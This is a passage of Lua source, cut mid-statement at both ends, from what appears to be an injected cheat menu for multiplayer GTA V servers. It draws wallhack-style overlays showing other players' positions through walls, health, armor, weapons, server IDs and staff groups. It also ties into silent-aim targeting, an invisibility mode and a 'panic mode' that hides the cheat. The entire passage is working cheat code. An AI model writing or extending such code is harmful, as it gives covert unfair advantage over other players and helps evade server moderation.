segmentCount = math.max(2, math.floor(fillWidth / 2)) local segmentWidth = fillWidth / segmentCount for segmentIndex = 0, segmentCount - 1 do local segmentX = math.floor(fillX + segmentIndex * segmentWidth) local pixelWidth = math.max(1, math.ceil(segmentWidth)) if segmentIndex == segmentCount - 1 then pixelWidth = fillX + fillWidth - segmentX end local segmentColor = rainbowColorForHue(segmentIndex / segmentCount * 0.8, true) drawEspRect(segmentX, y + padding, pixelWidth, fillHeight, segmentColor, glow) end else drawEspRect(fillX, y + padding, fillWidth, fillHeight, { color[1], color[2], color[3], 255 }, glow) end return fillX, fillWidth, fillHeight end local function drawEspPedOverlay( entity, distance, boxColor, healthBarColor, armorBarColor, healthBarPlacement, armorBarPlacement, weapons, viewerPosition, isPlayer, unusedArgument ) local projectedCenterX, projectedCenterY, projectedWidth, projectedHeight = getEspPedCenter(entity, viewerPosition) if not projectedCenterX then return end local referencePosition = viewerPosition or GetEntityCoords(PlayerPedId()) local entityPosition = GetEntityCoords(entity) if entityPosition then distance = #(referencePosition - entityPosition) end local isInvisible = not IsEntityVisible(entity) local entityDead = IsEntityDead(entity) local invisibleColor = menu.drawing.getInvisibleEspColor() local boxOutlineEnabled = menu.vars.bools.espBoxShow == true local boxFillEnabled = menu.vars.bools.espBoxFill == true local healthBarEnabled = menu.vars.bools.espBoxHealth == true local armorBarEnabled = menu.vars.bools.espBoxArmor == true local espTextEnabled = menu.vars.bools.espTextNameEnabled == true or menu.vars.bools.espTextGroupEnabled == true or menu.vars.bools.espTextIdEnabled == true or menu.vars.bools.espTextDistanceEnabled == true or menu.vars.bools.espTextWeaponEnabled == true local function getEspTextStyle(selectorKey, enabledKey) if not espTextEnabled then return 1 end local selection = menu.vars.selectors[selectorKey] or 2 if menu.vars.bools[enabledKey] == true then if selection == 1 then return 2 end return 3 end return 1 end local nameTextStyle = getEspTextStyle("espTextName", "espTextNameEnabled") local groupTextStyle = getEspTextStyle("espTextGroup", "espTextGroupEnabled") local idTextStyle = getEspTextStyle("espTextId", "espTextIdEnabled") local distanceTextStyle = getEspTextStyle("espTextDistance", "espTextDistanceEnabled") local weaponTextStyle = getEspTextStyle("espTextWeapon", "espTextWeaponEnabled") local halfBoxWidth, halfBoxHeight = projectedWidth / 2, projectedHeight / 2 local boxLeft, boxRight = projectedCenterX - halfBoxWidth, projectedCenterX + halfBoxWidth local boxTop, boxBottom = projectedCenterY - halfBoxHeight, projectedCenterY + halfBoxHeight local boxBorder = 2 local drawLeft, drawTop = boxLeft, boxTop local roundedBoxWidth, roundedBoxHeight = math.ceil(projectedWidth), math.ceil(projectedHeight) if boxOutlineEnabled or boxFillEnabled then local boxDisplayColor = boxColor or { 200, 200, 200, 255 } if boxDisplayColor[1] >= 240 and boxDisplayColor[2] >= 240 and boxDisplayColor[3] >= 240 then boxDisplayColor = { 200, 200, 200, 255 } end local boxRainbowEnabled = menu.vars.bools.espBoxRainbow if boxRainbowEnabled then boxRainbowEnabled = not entityDead and not isInvisible end local boxRainbowMode = menu.vars.selectors.espBoxRainbowMode or 1 local boxGlowEnabled = menu.vars.bools.espBoxGlow == true if boxRainbowEnabled and boxRainbowMode == 1 then boxDisplayColor = rainbowColorForHue(0) end if boxFillEnabled then local fillInset = boxOutlineEnabled and boxBorder or 0 local fillX, fillY = boxLeft + fillInset, boxTop + fillInset local fillWidth, fillHeight = projectedWidth - 2 * fillInset, projectedHeight - 2 * fillInset if fillWidth > 0 and fillHeight > 0 then local fillRed, fillGreen, fillBlue = boxDisplayColor[1], boxDisplayColor[2], boxDisplayColor[3] if boxRainbowEnabled and boxRainbowMode == 2 then local rainbowColor = rainbowColorForHue(0.2, true) fillRed, fillGreen, fillBlue = rainbowColor[1], rainbowColor[2], rainbowColor[3] end if boxGlowEnabled then for _, layer in ipairs(glowLayers) do Ham.drawRectFilled( { fillX - layer.e, fillY - layer.e, fillWidth + layer.e * 2, fillHeight + layer.e * 2 }, { fillRed, fillGreen, fillBlue, math.min(38, layer.a + 10) }, 0, 0 ) end end Ham.drawRectGradient( { fillX, fillY, fillWidth, fillHeight }, { fillRed, fillGreen, fillBlue, 0 }, { fillRed, fillGreen, fillBlue, 120 }, true ) if not menu.vars.bools.fpsMode then local scale = menu.vars.scale or 1 if not boxGlowEnabled then for layerIndex = 3, 1, -1 do local expansion = layerIndex * math.max(0.5, scale) Ham.drawRectGradient( { fillX - expansion, fillY - expansion, fillWidth + expansion * 2, fillHeight + expansion * 2 }, { fillRed, fillGreen, fillBlue, 0 }, { fillRed, fillGreen, fillBlue, 5 + (3 - layerIndex) * 5 }, true ) end end if fillWidth >= 10 * scale and fillHeight >= 10 * scale then menu.drawing.drawMagicStars(fillX, fillY, fillWidth, fillHeight, scale, 0.55, 10) end end end end if boxOutlineEnabled then if boxRainbowEnabled and boxRainbowMode == 2 then drawEspRect( boxLeft, boxTop, projectedWidth, boxBorder, rainbowColorForHue(0.0, true), boxGlowEnabled ) drawEspRect( boxLeft, boxBottom - boxBorder, projectedWidth, boxBorder, rainbowColorForHue(0.25, true), boxGlowEnabled ) drawEspRect( boxLeft, boxTop, boxBorder, projectedHeight, rainbowColorForHue(0.5, true), boxGlowEnabled ) drawEspRect( boxRight - boxBorder, boxTop, boxBorder, projectedHeight, rainbowColorForHue(0.75, true), boxGlowEnabled ) else drawEspRect(boxLeft, boxTop, projectedWidth, boxBorder, boxDisplayColor, boxGlowEnabled) drawEspRect( boxLeft, boxBottom - boxBorder, projectedWidth, boxBorder, boxDisplayColor, boxGlowEnabled ) drawEspRect(boxLeft, boxTop, boxBorder, projectedHeight, boxDisplayColor, boxGlowEnabled) drawEspRect( boxRight - boxBorder, boxTop, boxBorder, projectedHeight, boxDisplayColor, boxGlowEnabled ) end end end local bottomTextY = projectedCenterY + halfBoxHeight + 2 local barGlow = menu.vars.bools.espBoxGlow == true local barPadding, barSeparation = 1, 5 local barSideExtension = math.floor(roundedBoxWidth * 0.2) local healthBarY, armorBarY local horizontalBarWidth = roundedBoxWidth + 2 * barPadding + 2 * barSideExtension local horizontalBarLeft = drawLeft - barPadding - barSideExtension if healthBarEnabled then local maxHealth = GetEntityMaxHealth(entity) - 100 if maxHealth <= 0 then maxHealth = 100 end local currentHealth = math.min(GetEntityHealth(entity) - 100, maxHealth) local healthBarMargin = healthBarPlacement == "top" and 18 or 8 local healthRatio = maxHealth > 0 and currentHealth / maxHealth or 0 healthRatio = math.max(0, healthRatio or 0) local healthColorMode = menu.vars.selectors and menu.vars.selectors.espHealthBarColor or 2 local activeHealthColor local healthRainbowEnabled = menu.vars.bools.espBoxRainbow if healthRainbowEnabled then healthRainbowEnabled = not entityDead and not isInvisible end local healthScrollingRainbow = healthRainbowEnabled and (menu.vars.selectors.espBoxRainbowMode or 1) == 2 or false if healthRainbowEnabled and not healthScrollingRainbow then activeHealthColor = rainbowColorForHue(0.1) elseif isInvisible then activeHealthColor = invisibleColor elseif healthColorMode == 2 then local playerIndex = NetworkGetPlayerIndexFromPed(entity) if isPlayer and playerIndex and playerIndex >= 0 then local serverId = GetPlayerServerId(playerIndex) activeHealthColor = menu.drawing.getPlayerEspHealthColor(serverId, playerIndex, healthRatio) else activeHealthColor = menu.drawing.getHealthBarColors(healthRatio, isPlayer == false) end elseif healthBarColor then activeHealthColor = healthBarColor else activeHealthColor = menu.drawing.getHealthBarColors(healthRatio, isPlayer == false) end if healthBarPlacement == "left" or healthBarPlacement == "right" then local barX = healthBarPlacement == "left" and math.floor(boxLeft - barThickness) or math.floor(boxRight) local fillX, fillY, fillHeight = drawVerticalEspBar( barX, drawTop, roundedBoxHeight, healthRatio, activeHealthColor, healthScrollingRainbow, barGlow ) if fillX then menu.drawing.drawMagicHealthBarEffects( fillX, fillY, barInnerThickness, fillHeight, activeHealthColor ) end elseif healthBarPlacement == "top" or healthBarPlacement == "bottom" then local sharedWithArmor = healthBarPlacement == armorBarPlacement and armorBarEnabled if healthBarPlacement == "top" then healthBarY = drawTop - barThickness - healthBarMargin if sharedWithArmor then armorBarY = healthBarY - barThickness - barSeparation end else healthBarY = drawTop + roundedBoxHeight + healthBarMargin if sharedWithArmor then armorBarY = healthBarY + barThickness + barSeparation end bottomTextY = healthBarY + barThickness + 2 if sharedWithArmor then bottomTextY = armorBarY + barThickness + 2 end end local fillX, fillWidth, fillHeight = drawHorizontalEspBar( horizontalBarLeft, healthBarY, horizontalBarWidth, barPadding, healthRatio, activeHealthColor, healthScrollingRainbow, barGlow ) if fillX then menu.drawing.drawMagicHealthBarEffects( fillX, healthBarY + barPadding, fillWidth, fillHeight, activeHealthColor ) end end end if armorBarEnabled then local armor = GetPedArmour(entity) local armorBarMargin = armorBarPlacement == "top" and 14 or 8 local armorRatio = math.max(0.0, math.min(1.0, armor / 100.0)) local activeArmorColor local armorRainbowEnabled = menu.vars.bools.espBoxRainbow if armorRainbowEnabled then armorRainbowEnabled = not entityDead and not isInvisible end local armorScrollingRainbow = armorRainbowEnabled and (menu.vars.selectors.espBoxRainbowMode or 1) == 2 or false if armorRainbowEnabled and not armorScrollingRainbow then activeArmorColor = rainbowColorForHue(0.2) elseif isInvisible then activeArmorColor = invisibleColor else activeArmorColor = armorBarColor end if armorBarPlacement == "left" or armorBarPlacement == "right" then local barX if armorBarPlacement == "left" then barX = math.floor( boxLeft - ( (healthBarPlacement == "left" and healthBarEnabled) and 2 * barThickness or barThickness ) ) else barX = math.floor( boxRight + ((healthBarPlacement == "right" and healthBarEnabled) and barThickness or 0) ) end drawVerticalEspBar( barX, drawTop, roundedBoxHeight, armorRatio, activeArmorColor, armorScrollingRainbow, barGlow ) elseif armorBarPlacement == "top" or armorBarPlacement == "bottom" then local sharedWithHealth = healthBarPlacement == armorBarPlacement and healthBarEnabled local currentArmorY if sharedWithHealth and armorBarY then currentArmorY = armorBarY elseif armorBarPlacement == "top" then currentArmorY = drawTop - barThickness - armorBarMargin armorBarY = currentArmorY else currentArmorY = drawTop + roundedBoxHeight + armorBarMargin if sharedWithHealth and healthBarY then currentArmorY = healthBarY + barThickness + barSeparation end bottomTextY = currentArmorY + barThickness + 2 end drawHorizontalEspBar( horizontalBarLeft, currentArmorY, horizontalBarWidth, barPadding, armorRatio, activeArmorColor, armorScrollingRainbow, barGlow ) end end if nameTextStyle <= 1 and idTextStyle <= 1 and weaponTextStyle <= 1 and groupTextStyle <= 1 then return end local textScale = menu.vars.scale or 1 local minimumTextDistance, maximumTextDistance = 5.0, 120.0 local minimumTextSize = math.floor(7 * textScale) local maximumTextSize = math.floor(11 * textScale) local distanceRange = maximumTextDistance - minimumTextDistance local textDistanceFactor = 0.0 if distanceRange > 0.001 then textDistanceFactor = math.max(0.0, math.min(1.0, (distance - minimumTextDistance) / distanceRange)) end local textSize = math.max( 6, math.floor(minimumTextSize + (maximumTextSize - minimumTextSize) * (1.0 - textDistanceFactor)) ) local topTextLines, bottomTextLines = {}, {} local topInlineParts, bottomInlineParts = {}, {} local function addInlineEspText(mode, text) if mode == 2 then topInlineParts[#topInlineParts + 1] = text elseif mode == 3 then bottomInlineParts[#bottomInlineParts + 1] = text end end local playerIndex = NetworkGetPlayerIndexFromPed(entity) local playerServerId, playerGroup if playerIndex and playerIndex >= 0 then playerServerId = GetPlayerServerId(playerIndex) playerGroup = menu.drawing.getPlayerEspGroup(playerServerId, playerIndex) if groupTextStyle > 1 and playerGroup and playerGroup ~= "user" and playerGroup ~= "users" then addInlineEspText(groupTextStyle, "[" .. tostring(playerGroup) .. "]") end if nameTextStyle > 1 then local playerName = GetPlayerName(playerIndex) or "ped" if idTextStyle > 1 and idTextStyle == nameTextStyle then addInlineEspText(nameTextStyle, string.format("[%d] %s", playerServerId, playerName)) else addInlineEspText(nameTextStyle, playerName) end end if idTextStyle > 1 and idTextStyle ~= nameTextStyle then addInlineEspText(idTextStyle, string.format("[%d]", playerServerId)) end elseif nameTextStyle > 1 then addInlineEspText(nameTextStyle, "[NPC]") end if distanceTextStyle > 1 then addInlineEspText(distanceTextStyle, string.format("[%dm]", math.floor(distance))) end if weaponTextStyle > 1 then local weaponName = weapons[GetSelectedPedWeapon(entity)] or "Unknown" if weaponTextStyle == 2 then topTextLines[#topTextLines + 1] = weaponName else bottomTextLines[#bottomTextLines + 1] = weaponName end end if #topInlineParts > 0 then table.insert(topTextLines, 1, table.concat(topInlineParts, " ")) end if #bottomInlineParts > 0 then table.insert(bottomTextLines, 1, table.concat(bottomInlineParts, " ")) end if #topTextLines == 0 and #bottomTextLines == 0 then return end local textEntityInvisible = not IsEntityVisible(entity) local textColor if entityDead then textColor = menu.drawing.getDeadEspColor("text") end if not textColor then textColor = menu.drawing.getDefaultEspNameColor() end if playerIndex and playerIndex >= 0 and playerServerId then textColor = menu.drawing.getPlayerEspTextColor(playerServerId, playerIndex, textEntityInvisible, entityDead) elseif entityDead then textColor = menu.drawing.getDeadEspColor("text") elseif textEntityInvisible then textColor = menu.drawing.getInvisibleEspColor() end local textRainbowEnabled = menu.vars.bools.espTextRainbow if textRainbowEnabled then textRainbowEnabled = not entityDead and not textEntityInvisible end local textRainbowMode = menu.vars.selectors.espTextRainbowMode or 1 if textRainbowEnabled and textRainbowMode == 1 then textColor = rainbowColorForHue(0) end local textLineHeight = textSize + 2 if #topTextLines > 0 then local topTextAnchor = boxTop if healthBarEnabled and healthBarPlacement == "top" and healthBarY then topTextAnchor = math.min(topTextAnchor, healthBarY - 4) end if armorBarEnabled and armorBarPlacement == "top" and armorBarY then topTextAnchor = math.min(topTextAnchor, armorBarY - 4) end local lineY = topTextAnchor - textSize - 12 for _, line in ipairs(topTextLines) do if textRainbowEnabled and textRainbowMode == 2 then drawRainbowText(line, projectedCenterX, lineY, textSize, true) else drawEspTextWithShadow(line, projectedCenterX, lineY, textColor, textSize) end lineY = lineY - textLineHeight end end if #bottomTextLines == 0 then return end local lineY = bottomTextY for _, line in ipairs(bottomTextLines) do if textRainbowEnabled and textRainbowMode == 2 then drawRainbowText(line, projectedCenterX, lineY, textSize, true) else drawEspTextWithShadow(line, projectedCenterX, lineY, textColor, textSize) end lineY = lineY + textLineHeight end end local skeletonBonePairs = { { 31086, 39317 }, { 39317, 45509 }, { 39317, 40269 }, { 45509, 22711 }, { 40269, 2992 }, { 22711, 18905 }, { 2992, 57005 }, { 39317, 11816 }, { 11816, 51826 }, { 11816, 58271 }, { 51826, 36864 }, { 58271, 63931 }, { 36864, 52301 }, { 63931, 14201 } } local skeletonFootPairs = { { 52301, 20781 }, { 14201, 2108 } } local function drawEspLine(startX, startY, endX, endY, color, outlineEnabled, glowEnabled) local red, green, blue = color[1] or 255, color[2] or 255, color[3] or 255 local scale = menu.vars.scale or 1 local alphaFactor = (color[4] or 255) / 255 if glowEnabled then Ham.drawLine( { startX, startY }, { endX, endY }, { red, green, blue, math.floor(16 * alphaFactor) }, math.max(1, math.floor(1 + 6 * scale + 0.5)) ) Ham.drawLine( { startX, startY }, { endX, endY }, { red, green, blue, math.floor(30 * alphaFactor) }, math.max(1, math.floor(1 + 4 * scale + 0.5)) ) Ham.drawLine( { startX, startY }, { endX, endY }, { red, green, blue, math.floor(55 * alphaFactor) }, math.max(1, math.floor(1 + 2 * scale + 0.5)) ) end if outlineEnabled then Ham.drawLine({ startX, startY }, { endX, endY }, { 0, 0, 0, 255 }, 3) end Ham.drawLine({ startX, startY }, { endX, endY }, color, 1) if glowEnabled then local deltaX, deltaY = endX - startX, endY - startY local distanceSquared = deltaX * deltaX + deltaY * deltaY if distanceSquared < (36 * scale) ^ 2 then return end local timeSeconds = GetGameTimer() / 1000 local phaseOffset = startX * 0.013 + startY * 0.007 local trailProgress = 0.15 + 0.7 * ((timeSeconds * 0.15 + phaseOffset) % 1) local sparkleX, sparkleY = startX + deltaX * trailProgress, startY + deltaY * trailProgress local pulse = 0.5 + 0.5 * math.sin(timeSeconds * 2 + phaseOffset) local sparkleAlpha = math.floor((100 + 90 * pulse) * alphaFactor) local radius = math.max(0.6, 0.75 * scale) Ham.drawCircle( { sparkleX, sparkleY, radius * 2.5 }, { red, green, blue, math.floor(sparkleAlpha * 0.2) }, 8, 1, true ) Ham.drawCircle({ sparkleX, sparkleY, radius }, { math.floor(170 + red / 3), math.floor(170 + green / 3), math.floor(170 + blue / 3), sparkleAlpha }, 8, 1, true) end end local occlusionCache = {} local occlusionViewer = nil local occlusionCacheExpires = 0 local function drawEspSkeleton(entity, isFriend, overrideColor) if not entity or entity == 0 or not DoesEntityExist(entity) or not IsEntityOnScreen(entity) then return end local isBehindWall = false if menu.vars.bools.espSkeletonWallHighlight and not overrideColor then local currentTime = GetGameTimer() local viewer = PlayerPedId() if viewer ~= occlusionViewer or currentTime >= occlusionCacheExpires then occlusionCache = {} occlusionViewer = viewer occlusionCacheExpires = currentTime + 2000 end local entry = occlusionCache[entity] if not entry or currentTime >= entry.expires then entry = { value = menu.drawing.isEspPedBehindWall(entity), expires = currentTime + 100 } occlusionCache[entity] = entry end isBehindWall = entry.value end local entityDead = IsEntityDead(entity) local entityInvisible = not IsEntityVisible(entity) local skeletonColor if overrideColor then skeletonColor = overrideColor else local playerIndex = NetworkGetPlayerIndexFromPed(entity) if playerIndex and playerIndex >= 0 then local serverId = GetPlayerServerId(playerIndex) skeletonColor = menu.drawing.getPlayerEspSkeletonColor( serverId, playerIndex, isBehindWall, entityDead, entityInvisible ) elseif entityDead then skeletonColor = menu.drawing.getDeadEspColor("skeleton") elseif entityInvisible then skeletonColor = menu.drawing.getInvisibleEspColor() elseif isFriend then skeletonColor = menu.drawing.getFriendColor() elseif isBehindWall and menu.vars.bools.espSkeletonWallHighlight then skeletonColor = menu.drawing.getSkeletonOccludedColor() else skeletonColor = menu.drawing.getEspColor("skeleton", false) end end local rainbowEnabled = menu.vars.bools.espSkeletonRainbow if rainbowEnabled then if entityDead or entityInvisible or overrideColor then rainbowEnabled = false elseif isBehindWall then rainbowEnabled = not menu.vars.bools.espSkeletonWallHighlight else rainbowEnabled = true end end local rainbowMode = menu.vars.selectors.espSkeletonRainbowMode or 1 if rainbowEnabled and rainbowMode == 1 then skeletonColor = rainbowColorForHue(0) end local outlineEnabled = menu.vars.bools.espSkeletonOutline local glowEnabled = menu.vars.bools.espSkeletonGlow local boneScreenCache = {} local function getScreenBonePosition(boneId) local position = boneScreenCache[boneId] if position == nil then local bone = GetPedBoneCoords(entity, boneId, 0.0, 0.0, 0.0) position = false if bone and bone.x ~= 0 then local visible, x, y = Ham.worldToScreen(bone.x, bone.y, bone.z) if visible then position = { x, y } end end boneScreenCache[boneId] = position end return position end local segmentIndex = 0 if menu.vars.bools.espSkeleton then for _, pair in ipairs(skeletonBonePairs) do local startPoint, endPoint = getScreenBonePosition(pair[1]), getScreenBonePosition(pair[2]) if startPoint and endPoint then local segmentColor = skeletonColor if rainbowEnabled and rainbowMode == 2 then segmentColor = rainbowColorForHue(segmentIndex * 0.07, true) end drawEspLine( startPoint[1], startPoint[2], endPoint[1], endPoint[2], segmentColor, outlineEnabled, glowEnabled ) end segmentIndex = segmentIndex + 1 end end if menu.vars.bools.espSkeletonFeet then for _, pair in ipairs(skeletonFootPairs) do local startPoint, endPoint = getScreenBonePosition(pair[1]), getScreenBonePosition(pair[2]) if startPoint and endPoint then local segmentColor = skeletonColor if rainbowEnabled and rainbowMode == 2 then segmentColor = rainbowColorForHue(segmentIndex * 0.07, true) end drawEspLine( startPoint[1], startPoint[2], endPoint[1], endPoint[2], segmentColor, outlineEnabled, glowEnabled ) end segmentIndex = segmentIndex + 1 end end end local function drawEspVehicleInformation(entity, viewerPosition) if menu.utils.isMenuSpawnedVehicle and menu.utils.isMenuSpawnedVehicle(entity) then return false end local vehiclePosition = GetEntityCoords(entity) local distance = #(viewerPosition - vehiclePosition) local showName = menu.vars.bools.vehicleEspShowName == true local showDistance = menu.vars.bools.vehicleEspShowDistance == true local showHealth = menu.vars.bools.vehicleEspShowHealth == true local showTank = menu.vars.bools.vehicleEspShowTank == true local showSpeed = menu.vars.bools.vehicleEspShowSpeed == true local showLockState = menu.vars.bools.vehicleEspLockState == true if not showName and not showDistance and not showHealth and not showTank and not showSpeed and not showLockState then return false end local minimumTextSize = math.floor(7 * menu.vars.scale) local maximumTextSize = math.floor(11 * menu.vars.scale) local distanceRatio = math.max(0.0, math.min(1.0, (distance - 5.0) / 115.0)) local textSize = math.max(6, math.floor(minimumTextSize + (maximumTextSize - minimumTextSize) * (1.0 - distanceRatio))) local textLines = {} if showName then local vehicleName = "Vehicle" local displayName = GetDisplayNameFromVehicleModel(GetEntityModel(entity)) if displayName and displayName ~= "" and displayName ~= "NULL" then vehicleName = displayName end textLines[#textLines + 1] = vehicleName end if showDistance then textLines[#textLines + 1] = string.format("[%dm]", math.floor(distance)) end if showHealth then local health = math.max(0.0, math.min(1000.0, GetVehicleEngineHealth(entity))) textLines[#textLines + 1] = string.format("HP %d%%", math.floor(health / 1000.0 * 100.0)) end if showTank then local fuel = 0.0 if GetVehicleFuelLevel then fuel = GetVehicleFuelLevel(entity) or 0.0 end fuel = math.max(0.0, math.min(100.0, fuel)) textLines[#textLines + 1] = string.format("Tank %d%%", math.floor(fuel)) end if showSpeed then local speed = math.floor((GetEntitySpeed(entity) or 0.0) * 3.6) textLines[#textLines + 1] = string.format("%dkm/h", speed) end if showLockState then local lockStatus = GetVehicleDoorLockStatus(entity) textLines[#textLines + 1] = (lockStatus == 2 or lockStatus == 3) and "Locked" or "Unlocked" end if #textLines == 0 then return false end local positionMode = menu.vars.selectors.vehicleEspInfoPosition or 1 local targetPosition if positionMode == 1 then targetPosition = { x = vehiclePosition.x, y = vehiclePosition.y, z = vehiclePosition.z + 1.0 } elseif positionMode == 2 then targetPosition = { x = vehiclePosition.x, y = vehiclePosition.y, z = vehiclePosition.z + 0.35 } else local minimumDimensions = GetModelDimensions(GetEntityModel(entity)) local lowerZ = (minimumDimensions and minimumDimensions.z or -1.0) - 0.18 targetPosition = GetOffsetFromEntityInWorldCoords(entity, 0.0, 0.0, lowerZ) end local projected, screenX, screenY = Ham.worldToScreen(targetPosition.x, targetPosition.y, targetPosition.z) if not projected or not screenX or not screenY then return false end local isInvisible = not IsEntityVisible(entity) local isDead = IsEntityDead(entity) local vehicleTextColor if isDead then vehicleTextColor = menu.drawing.getDeadEspColor("text") end if not vehicleTextColor and isInvisible then vehicleTextColor = menu.drawing.getInvisibleEspColor() end if not vehicleTextColor then vehicleTextColor = menu.drawing.getDefaultEspNameColor() end local textLineSpacing = textSize + 1 local firstLineY = screenY - math.floor((#textLines - 1) * textLineSpacing * 0.5) for lineIndex, text in ipairs(textLines) do local lineY = firstLineY + (lineIndex - 1) * textLineSpacing Ham.drawText(text, { screenX, lineY }, vehicleTextColor, textSize, true, true, { 0, 0, 0, 255 }) Ham.drawText(text, { screenX, lineY }, vehicleTextColor, textSize, true, false, {}) end return true end local function drawEspBar(centerX, y, requestedWidth, fraction, color) local ratio = math.max(0.0, math.min(1.0, fraction or 0.0)) local width = math.max(42, math.min(120, requestedWidth * 1.0)) local height = 3 local left = centerX - width * 0.5 Ham.drawRectFilled({ left, y, width, height }, { 0, 0, 0, 170 }, 0, 0) Ham.drawRectFilled({ left, y, math.floor(width * ratio), height }, color or { 220, 45, 45, 255 }, 0, 0) end local function isEspFullInvisibleClone(entity, referencePosition, targetEntity) if not entity or entity == 0 or not DoesEntityExist(entity) or IsPedAPlayer(entity) then return false end if not menu.vars or not menu.vars.bools or (menu.vars.bools.fullInvisible ~= true and menu.vars.bools.fullInvisibleWalk ~= true) then return false end if menu.utils.isFullInvisibleClonePed and menu.utils.isFullInvisibleClonePed(entity) then return true end if _G.pmFullInvisibleActive and _G.pmFullInvisibleClone and entity == _G.pmFullInvisibleClone then return true end if not referencePosition or not targetEntity or not DoesEntityExist(targetEntity) then return false end local position = GetEntityCoords(entity) if not position or #(referencePosition - position) > 2.5 then return false end return GetEntityModel(entity) == GetEntityModel(targetEntity) end while _G.runmenu == true do local frameDelay = menu.vars.panicMode and 50 or 2500 if menu.vars.espForceRefresh then smoothedBounds = {} occlusionCache = {} menu.vars.espForceRefresh = false end local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local freecamActive = menu.vars.freecamMenuActive or menu.vars.bools.freecam == true local spectating = menu.vars.spectatePlayerThread == true or menu.vars.spectatePlayerCamera ~= nil local fullInvisible = menu.vars.pmFullInvisibleActive == true or ( menu.vars.bools and (menu.vars.bools.fullInvisible == true or menu.vars.bools.fullInvisibleWalk == true) ) local currentTime = GetGameTimer() local recovering = currentTime < (menu.vars.espViewerRecoverUntil or 0) local viewerPosition if fullInvisible then local voicePosition = LocalPlayer.state and LocalPlayer.state.pm_full_invisible_voice_pos if voicePosition and tonumber(voicePosition.x) then viewerPosition = vector3( tonumber(voicePosition.x), tonumber(voicePosition.y) or 0.0, tonumber(voicePosition.z) or 0.0 ) else viewerPosition = GetFinalRenderedCamCoord() or playerCoords end pcall(function() SetFocusPosAndVel(viewerPosition.x, viewerPosition.y, viewerPosition.z, 0.0, 0.0, 0.0) end) RequestCollisionAtCoord(viewerPosition.x, viewerPosition.y, viewerPosition.z) elseif recovering or freecamActive or spectating then viewerPosition = GetFinalRenderedCamCoord() or playerCoords if freecamActive or spectating then pcall(function() SetFocusPosAndVel(viewerPosition.x, viewerPosition.y, viewerPosition.z, 0.0, 0.0, 0.0) end) elseif recovering then pcall(function() SetFocusEntity(playerPed) end) end else viewerPosition = playerCoords end if menu.vars.bools.espEnable and not menu.vars.panicMode and (fullInvisible or freecamActive or spectating or recovering) then frameDelay = 0 end if menu.vars.bools.espEnable and not menu.vars.panicMode then local maximumDistance = menu.vars.sliders.espMaxDistance or 400.0 local placements = { "top", "left", "right", "bottom" } local healthPlacement = placements[menu.vars.selectors.espHealthBarPos or 4] or "bottom" local armorPlacement = placements[menu.vars.selectors.espArmorBarPos or 4] or "bottom" local defaultBoxColor = menu.drawing.getEspColor("box", false) local defaultHealthColor = menu.drawing.getHealthBarColors(1.0) local defaultArmorColor = menu.drawing.getEspColor("armor") local skeletonEnabled = menu.vars.bools.espSkeleton == true or menu.vars.bools.espSkeletonFeet == true if menu.vars.bools.selfEsp and not (menu.vars.bools.excludeDead and IsEntityDead(playerPed)) then local distance = #(viewerPosition - playerCoords) if maximumDistance >= distance then local playerId = PlayerId() local serverId = GetPlayerServerId(playerId) local invisible = not IsEntityVisible(playerPed) local dead = IsEntityDead(playerPed) local boxColor = menu.drawing.getPlayerEspBoxColor(serverId, playerId, invisible, dead) local healthColor = menu.drawing.getPlayerEspHealthColor(serverId, playerId, 1.0) local armorColor = menu.drawing.getPlayerEspArmorColor(serverId, playerId) if skeletonEnabled then drawEspSkeleton(playerPed, false) end drawEspPedOverlay( playerPed, distance, boxColor, healthColor, armorColor, healthPlacement, armorPlacement, weaponNames, viewerPosition, true, false ) frameDelay = 0 end end local activePlayers = GetActivePlayers() for index = 1, #activePlayers do local player = activePlayers[index] local ped = GetPlayerPed(player) if ped ~= 0 and ped ~= playerPed and not (menu.vars.bools.excludeDead and IsEntityDead(ped)) then local pedCoords = GetEntityCoords(ped) local distance = #(viewerPosition - pedCoords) if maximumDistance >= distance then local friend = menu.utils.isPlayerFriendByPlayerId(player) local serverId = GetPlayerServerId(player) if skeletonEnabled then local overrideColor if menu.vars.silentAimCurrentTarget and menu.vars.silentAimCurrentTarget == ped then overrideColor = { 255, 80, 80, 255 } elseif menu.vars.silentAimDestroyerTargets and menu.vars.silentAimDestroyerTargets[ped] then overrideColor = { 255, 80, 80, 255 } elseif menu.vars.punchModeCurrentTarget and menu.vars.punchModeCurrentTarget == ped then overrideColor = { 255, 80, 80, 255 } end drawEspSkeleton(ped, friend, overrideColor) elseif menu.vars.punchModeCurrentTarget and menu.vars.punchModeCurrentTarget == ped then drawEspSkeleton(ped, friend, { 255, 80, 80, 255 }) end local invisible = not IsEntityVisible(ped) local dead = IsEntityDead(ped) local boxColor = menu.drawing.getPlayerEspBoxColor(serverId, player, invisible, dead) local healthColor = menu.drawing.getPlayerEspHealthColor(serverId, player, 1.0) local armorColor = menu.drawing.getPlayerEspArmorColor(serverId, player) drawEspPedOverlay( ped, distance, boxColor, healthColor, armorColor, healthPlacement, armorPlacement, weaponNames, viewerPosition, true, friend ) frameDelay = 0 end end end if menu.vars.bools.npcEsp then currentTime = GetGameTimer() if currentTime - pedCache.lastUpdate > 150 then pedCache.lastUpdate = currentTime pedCache.peds = listEspPeds() end for index = 1, #pedCache.peds do local ped = pedCache.peds[index] if ped ~= 0 and ped ~= playerPed and DoesEntityExist(ped) and not IsPedAPlayer(ped) and not isEspFullInvisibleClone(ped, viewerPosition, playerPed) and not (menu.vars.bools.excludeDead and IsEntityDead(ped)) then local menuSpawned = menu.utils.isMenuSpawnedPed(ped) if not menuSpawned or menu.utils.isFreecamSpawnedPed(ped) then local pedCoords = GetEntityCoords(ped) local distance = #(viewerPosition - pedCoords) if maximumDistance >= distance then if skeletonEnabled then local overrideColor if menu.vars.silentAimCurrentTarget and menu.vars.silentAimCurrentTarget == ped then overrideColor = { 255, 80, 80, 255 } elseif menu.vars.silentAimDestroyerTargets and menu.vars.silentAimDestroyerTargets[ped] then overrideColor = { 255, 80, 80, 255 } end drawEspSkeleton(ped, false, overrideColor) end local invisible = not IsEntityVisible(ped) local dead = IsEntityDead(ped) local boxColor if dead then boxColor = menu.drawing.getDeadEspColor("box") end if not boxColor and invisible then boxColor = menu.drawing.getInvisibleEspColor() end boxColor = boxColor or defaultBoxColor drawEspPedOverlay( ped, distance, boxColor, defaultHealthColor, defaultArmorColor, healthPlacement, armorPlacement, weaponNames, viewerPosition, false, false ) frameDelay = 0 end end end end end end local punchTarget = menu.vars.punchModeCurrentTarget if punchTarget and not menu.vars.panicMode and (not 